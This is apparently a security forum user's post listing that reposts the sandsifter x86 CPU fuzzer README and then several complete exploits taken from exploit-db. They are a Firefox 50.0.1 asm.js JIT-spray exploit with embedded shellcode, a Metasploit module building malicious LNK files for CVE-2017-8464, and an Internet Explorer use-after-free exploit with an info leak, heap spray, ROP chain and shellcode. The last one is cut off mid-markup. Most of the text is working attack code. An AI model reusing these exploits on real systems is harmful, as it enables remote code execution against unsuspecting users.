-
Posts
18725 -
Joined
-
Last visited
-
Days Won
707
Everything posted by Nytro
-
s a n d s i f t e r : the x86 processor fuzzer Overview The sandsifter audits x86 processors for hidden instructions and hardware bugs, by systematically generating machine code to search through a processor's instruction set, and monitoring execution for anomalies. Sandsifter has uncovered secret processor instructions from every major vendor; ubiquitous software bugs in disassemblers, assemblers, and emulators; flaws in enterprise hypervisors; and both benign and security-critical hardware bugs in x86 chips. With the multitude of x86 processors in existence, the goal of the tool is to enable users to check their own systems for hidden instructions and bugs. To run a basic audit against your processor: sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t The computer is systematically scanned for anomalous instructions. In the upper half, you can view the instructions that the sandsifter is currently testing on the processor. In the bottom half, the sandsifter reports anomalies it finds. The search will take from a few hours to a few days, depending on the speed of and complexity of your processor. When it is complete, summarize the results: ./summarize.py data/log Typically, several million undocumented instructions on your processor will be found, but these generally fall into a small number of different groups. After binning the anomalies, the summarize tool attempts to assign each instruction to an issue category: Software bug (for example, a bug in your hypervisor or disassembler), Hardware bug (a bug in your CPU), or Undocumented instruction (an instruction that exists in the processor, but is not acknowledged by the manufacturer) Press 'Q' to quit and obtain a text based summary of the system scan: The results of a scan can sometimes be difficult for the tools to automatically classify, and may require manual analysis. For help analyzing your results, feel free to send the ./data/log file to xoreaxeaxeax@gmail.com. No personal information, other than the processor make, model, and revision (from /proc/cpuinfo) are included in this log. Results Scanning with the sandsifter has uncovered undocumented processor features across dozens of opcode categories, flaws in enterprise hypervisors, bugs in nearly every major disassembly and emulation tool, and critical hardware bugs opening security vulnerabilities in the processor itself. Details of the results can be found in the project whitepaper. Building Sandsifter requires first installing the Capstone disassembler: http://www.capstone-engine.org/ Sandsifter can be built with: make and is then run with sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t Flags Flags are passed to the sifter with --flag, and to the injector with -- -f. Example: sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t Sifter flags: --len - search for length differences in all instructions (instructions that executed differently than the disassembler expected, or did not exist when the disassembler expected them to --dis - search for length differences in valid instructions (instructions that executed differently than the disassembler expected) --unk - search for unknown instructions (instructions that the disassembler doesn't know about but successfully execute) --ill - the inverse of --unk, search for invalid disassemblies (instructions that do not successfully execute but that the disassembler acknowledges) --tick - periodically write the current instruction to disk --save - save search progress on exit --resume - resume search from last saved state --sync - write search results to disk as they are found --low-mem - do not store results in memory Injector flags: -b - mode: brute force -r - mode: randomized fuzzing -t - mode: tunneled fuzzing -d - mode: externally directed fuzzing -R - raw output mode -T - text output mode -x - write periodic progress to stderr -0 - allow null dereference (requires sudo) -D - allow duplicate prefixes -N - no nx bit support -s seed - in random search, seed value -B brute_depth - in brute search, maximum search depth -P max_prefix - maximum number of prefixes to search -i instruction - instruction at which to start search (inclusive) -e instruction - instruction at which to end search (exclusive) -c core - core on which to perform search -X blacklist - blacklist the specified instruction -j jobs - number of simultaneous jobs to run -l range_bytes - number of base instruction bytes in each sub range Keys m: Mode - change the search mode (brute force, random, or tunnel) for the sifter q: Quit - exit the sifter p: Pause - pause or unpause the search sudo For best results, the tool should be run as the root user. This is necessary so that the process can map into memory a page at address 0, which requires root permissions. This page prevents many instructions from segfaulting on memory accesses, which allows a more accurate fault analysis. Legacy systems For scanning much older systems (i586 class processors, low memory systems), pass the --low-mem flag to the sifter and the -N flag to the injector: sudo ./sifter.py --unk --dis --len --sync --tick --low-mem -- -P1 -t -N If you observe your scans completing too quickly (for example, a scan completes in seconds), it is typically because these flags are required for the processor you are scanning. README TODO algorithms: random tunneling brute driven/mutator detailed results enumeration screenshots of bug types, final results grep ./injector 32 and 64 bit installs prefixes and limitations installing capstone help terminal colors (export TERM='xterm-256color') shrink screen to fit example of targetted fuzzing References A whitepaper describing the approach is here. Slides from the Black Hat 2017 presentation are here Sursa: https://github.com/xoreaxeaxeax/sandsifter Dupa cum ziceam si in alt topic, asta e "Hacking" in adevaratul sens al cuvantului. Poate mai evoluam si noi si trecem mai departe de <script>alert(1)</script> sau ' union select 1,2,3---
-
- 2
-
-
<!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day) Tested on: Release 50.0.1 32-bit - Windows 8.1 / Windows 10 https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe Howto: 1) serve PoC over network and open it in Firefox 50.0.1 32-bit 2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe A successfull exploit attempt should pop cmd.exe Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/ (C) Rh0 Jul. 13, 2017 --> <script async> function asm_js_module(){ "use asm"; /* huge jitted nop sled */ function payload_code(){ var val = 0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; /* 3 byte VirtualAlloc RWX stager */ val = (val + 0xa890db31)|0; val = (val + 0xa89030b3)|0; val = (val + 0xa81b8b64)|0; val = (val + 0xa80c5b8b)|0; val = (val + 0xa81c5b8b)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa8904c4c)|0; val = (val + 0xa8902eb1)|0; val = (val + 0xa85144b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8903233)|0; val = (val + 0xa89045b1)|0; val = (val + 0xa8514cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8904e52)|0; val = (val + 0xa8904bb1)|0; val = (val + 0xa85145b5)|0; val = (val + 0xa8590e6a)|0; val = (val + 0xa84fe789)|0; val = (val + 0xa8086b8b)|0; val = (val + 0xa820738b)|0; val = (val + 0xa8471b8b)|0; val = (val + 0xa82ae349)|0; val = (val + 0xa890c031)|0; val = (val + 0xa890ad66)|0; val = (val + 0xa89c613c)|0; val = (val + 0xa8077c9d)|0; val = (val + 0xa890202c)|0; val = (val + 0xa89c073a)|0; val = (val + 0xa8d7749d)|0; val = (val + 0xa890bdeb)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa890636f)|0; val = (val + 0xa8906cb1)|0; val = (val + 0xa8516cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa890416c)|0; val = (val + 0xa89075b1)|0; val = (val + 0xa85161b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8907472)|0; val = (val + 0xa89056b1)|0; val = (val + 0xa85169b5)|0; val = (val + 0xa890eb89)|0; val = (val + 0xa83cc583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa878c583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa820458b)|0; val = (val + 0xa890d801)|0; val = (val + 0xa890d231)|0; val = (val + 0xa890e789)|0; val = (val + 0xa8590d6a)|0; val = (val + 0xa810348b)|0; val = (val + 0xa890de01)|0; val = (val + 0xa890a6f3)|0; val = (val + 0xa8900de3)|0; val = (val + 0xa804c283)|0; val = (val + 0xa890dbeb)|0; val = (val + 0xa8247d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890ead1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa890d231)|0; val = (val + 0xa8178b66)|0; val = (val + 0xa81c7d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa802e2c1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa8903f8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890406a)|0; val = (val + 0xa890c031)|0; val = (val + 0xa85030b4)|0; val = (val + 0xa85010b4)|0; val = (val + 0xa890006a)|0; val = (val + 0xa890d7ff)|0; val = (val + 0xa890c931)|0; val = (val + 0xa89000b5)|0; val = (val + 0xa890c3b1)|0; val = (val + 0xa890ebd9)|0; val = (val + 0xa82434d9)|0; val = (val + 0xa890e689)|0; val = (val + 0xa80cc683)|0; val = (val + 0xa890368b)|0; val = (val + 0xa85fc683)|0; val = (val + 0xa890c789)|0; val = (val + 0xa81e8b66)|0; val = (val + 0xa81f8966)|0; val = (val + 0xa802c683)|0; val = (val + 0xa802c783)|0; val = (val + 0xa8901e8a)|0; val = (val + 0xa8901f88)|0; val = (val + 0xa803c683)|0; val = (val + 0xa801c783)|0; val = (val + 0xa803e983)|0; val = (val + 0xa89008e3)|0; val = (val + 0xa890cceb)|0; val = (val + 0xa890e0ff)|0; val = (val + 0xa824248d)|0; /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */ val = (val + 0xa882e8fc)|0; val = (val + 0xa8000000)|0; val = (val + 0xa8e58960)|0; val = (val + 0xa864c031)|0; val = (val + 0xa830508b)|0; val = (val + 0xa80c528b)|0; val = (val + 0xa814528b)|0; val = (val + 0xa828728b)|0; val = (val + 0xa84ab70f)|0; val = (val + 0xa8ff3126)|0; val = (val + 0xa8613cac)|0; val = (val + 0xa82c027c)|0; val = (val + 0xa8cfc120)|0; val = (val + 0xa8c7010d)|0; val = (val + 0xa852f2e2)|0; val = (val + 0xa8528b57)|0; val = (val + 0xa84a8b10)|0; val = (val + 0xa84c8b3c)|0; val = (val + 0xa8e37811)|0; val = (val + 0xa8d10148)|0; val = (val + 0xa8598b51)|0; val = (val + 0xa8d30120)|0; val = (val + 0xa818498b)|0; val = (val + 0xa8493ae3)|0; val = (val + 0xa88b348b)|0; val = (val + 0xa831d601)|0; val = (val + 0xa8c1acff)|0; val = (val + 0xa8010dcf)|0; val = (val + 0xa8e038c7)|0; val = (val + 0xa803f675)|0; val = (val + 0xa83bf87d)|0; val = (val + 0xa875247d)|0; val = (val + 0xa88b58e4)|0; val = (val + 0xa8012458)|0; val = (val + 0xa88b66d3)|0; val = (val + 0xa88b4b0c)|0; val = (val + 0xa8011c58)|0; val = (val + 0xa8048bd3)|0; val = (val + 0xa8d0018b)|0; val = (val + 0xa8244489)|0; val = (val + 0xa85b5b24)|0; val = (val + 0xa85a5961)|0; val = (val + 0xa8e0ff51)|0; val = (val + 0xa85a5f5f)|0; val = (val + 0xa8eb128b)|0; val = (val + 0xa86a5d8d)|0; val = (val + 0xa8858d01)|0; val = (val + 0xa80000b2)|0; val = (val + 0xa8685000)|0; val = (val + 0xa86f8b31)|0; val = (val + 0xa8d5ff87)|0; val = (val + 0xa80efebb)|0; val = (val + 0xa868ea32)|0; val = (val + 0xa8bd95a6)|0; val = (val + 0xa8d5ff9d)|0; val = (val + 0xa87c063c)|0; val = (val + 0xa8fb800a)|0; val = (val + 0xa80575e0)|0; val = (val + 0xa81347bb)|0; val = (val + 0xa86a6f72)|0; val = (val + 0xa8ff5300)|0; val = (val + 0xa86d63d5)|0; val = (val + 0xa8652e64)|0; val = (val + 0xa8006578)|0; val = (val + 0xa8909090)|0; return val|0; } return payload_code } </script> <script> function spray_asm_js_modules(){ sprayed = [] for (var i=0; i<= 0x1800; i++){ sprayed[i] = asm_js_module() } } /* heap spray inspired by skylined */ function heap_spray_fake_objects(){ var heap = [] var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < object_target_address){ var heap_block = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* fake object target = ecx + 0x88 and fake vtable*/ heap_block[offset/4 + 0x00/4] = object_target_address /* self + 4 */ heap_block[offset/4 + 0x14/4] = object_target_address /* the path to EIP */ heap_block[offset/4 + 0x18/4] = 4 heap_block[offset/4 + 0xac/4] = 1 /* fake virtual function --> JIT target */ heap_block[offset/4 + 0x138/4] = jit_payload_target } heap.push(heap_block) current_address += block_size } return heap } /* address of fake object */ object_target_address = 0x30300000 /* address of our jitted shellcode */ jit_payload_target = 0x1c1c0054 /* ASM.JS JIT Spray */ spray_asm_js_modules() /* Spray fake objects */ heap = heap_spray_fake_objects() /* -----> */ /* bug trigger ripped from bugzilla report */ var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x88 // Firefox 50.0.1 var exploit = function(){ var u32 = new Uint32Array(block80) u32[0x4] = arrBase - offset; u32[0xa] = arrBase - offset; u32[0x10] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e) {arrBase=object_target_address; exploit()} //worker.onmessage = function(e) {arrBase=0x30300000; exploit()} var trigger = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = trigger; setInterval("window.location.reload()", 3000) /* <----- */ </script> Sursa: https://www.exploit-db.com/exploits/42327/
-
Microsoft Windows - LNK Shortcut File Code Execution (Metasploit)
Nytro posted a topic in Exploituri
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE attr_accessor :exploit_dll_name def initialize(info = {}) super(update_info(info, 'Name' => 'LNK Remote Code Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except in an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. }, 'Author' => [ 'Uncredited', # vulnerability discovery 'Yorick Koster' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-8464'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], ['URL', 'http://paper.seebug.org/357/'], # writeup ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, # Default target is 64-bit 'DisclosureDate' => 'Jun 13 2017')) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]) ]) end def exploit dll = generate_payload_dll dll_name = "#{rand_text_alpha(16)}.dll" dll_path = store_file(dll, dll_name) print_status("#{dll_path} created copy it to the root folder of the target USB drive") # HACK the vulnerability doesn't appear to work with UNC paths # Create LNK files to different drives instead 'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i| lnk = generate_link("#{i}:\\#{dll_name}") lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk") print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}") end end def generate_link(path) path << "\x00" display_name = "Flash Player\x00" # LNK Display Name comment = "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') cpl_applet << [path.length].pack('v') cpl_applet << [display_name.length].pack('v') cpl_applet << path.unpack('C*').pack('v*') cpl_applet << display_name.unpack('C*').pack('v*') cpl_applet << comment.unpack('C*').pack('v*') # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) 0x00, 0x00, 0x00, 0x00, # FileAttributes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime 0x00, 0x00, 0x00, 0x00, # FileSize 0x00, 0x00, 0x00, 0x00, # IconIndex 0x00, 0x00, 0x00, 0x00, # ShowCommand 0x00, 0x00, # HotKey 0x00, 0x00, # Reserved1 0x00, 0x00, 0x00, 0x00, # Reserved2 0x00, 0x00, 0x00, 0x00 # Reserved3 ].pack('C*') # IDList idlist_data = '' idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # This PC 0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # All Control Panel Items 0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [cpl_applet.length + 2].pack('v') idlist_data << cpl_applet idlist_data << [0x00].pack('v') # TerminalID # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData # SpecialFolderDataBlock ret << [ 0x10, 0x00, 0x00, 0x00, # BlockSize 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) 0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList ].pack('C*') # TerminalBlock ret << [0x00, 0x00, 0x00, 0x00].pack('V') ret end # Store the file in the MSF local directory (eg, /root/.msf4/local/) def store_file(data, filename) ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end if filename and not filename.empty? if filename =~ /(.*)\.(.*)/ ext = $2 fname = $1 else fname = filename end else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join("#{Msf::Config.local_directory}/", fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } full_path.dup end end Sursa: https://www.exploit-db.com/exploits/42382/ -
<!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var base_leaked_addr = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var audioElm = document.createElement("audio"); audioElm.src = "test.mp3"; } function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function readu(value) { var uc = escape(value); var ucsplit = uc.split('%'); var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', '')); return res; } function spray() { // DEPS technique used here - avoid null bytes var hso = document.createElement("div"); base_leaked_addr = parseInt(base_leaked_addr,16); var junk = unescape("%u0e0e%u0e0e"); while (junk.length < 0x1000) junk += junk; var rop = unescape( writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffff) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x4e385) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2030f) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(0,0xf07645d5) + writeu(base_leaked_addr,0x6e002) + writeu(0,0x41414141) + writeu(base_leaked_addr,0xaebc) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffbf) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x6361b) + writeu(base_leaked_addr,0x432cf) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x5cef1) + writeu(base_leaked_addr,0x4177e) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x1244) + writeu(base_leaked_addr,0xa819) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2720b) + "" ); /* Original VirtualAlloc ROP generated with mona.py - www.corelan.be Library used "propsys.dll", part of the Windows Search functionality (?) and last updated Nov 2010. I think it's a good target for our needs. Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] */ // Move ESP to the VirtualAlloc ROP chain var stack_shift_rop = unescape( writeu(0,235802130) + writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x0e0e1258) + writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + ""); // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le // ~2854 bytes max var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} var fix1 = 0x15c; var fixop = unescape("%u0e0e%u0e0e"); var offset_to_stack_shift = 0x6f7; var offset_to_xchg = 0xd2+2; // Jumping a bit around here, pretty sure this can be simplified but hey... it works data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,(0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(0,2); var leaked_addr = readu(il); base_leaked_addr = leaked_addr - 0xbacc; // base of propsys base_leaked_addr = base_leaked_addr.toString(16); spray(); boom(); }, 1000); // can be reduced </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> </form> <script> </script> <table 